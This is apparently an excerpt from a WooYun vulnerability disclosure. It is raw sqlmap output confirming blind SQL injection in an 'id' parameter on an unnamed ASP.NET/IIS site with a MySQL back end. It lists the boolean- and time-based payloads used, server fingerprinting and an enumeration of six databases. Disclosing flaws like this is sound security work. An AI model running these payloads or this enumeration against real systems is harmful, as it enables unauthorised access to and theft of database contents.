WooYun.org

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 77 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=12 AND 8787=8787
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=12 AND SLEEP(5)
---
[15:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: MySQL 5.0.11
[15:14:52] [INFO] fetching database names
[15:14:52] [INFO] fetching number of databases
[15:14:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:14:52] [INFO] retrieved: 6
[15:14:54] [INFO] retrieved: information_schema
[15:15:22] [INFO] retrieved: cisstation
[15:15:38] [INFO] retrieved: m
[15:16:02] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
ysql
[15:16:09] [INFO] retrieved: performance_schema
[15:16:36] [INFO] retrieved: test
[15:16:43] [INFO] retrieved: webhost
available databases [6]:
[*] cisstation
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] webhost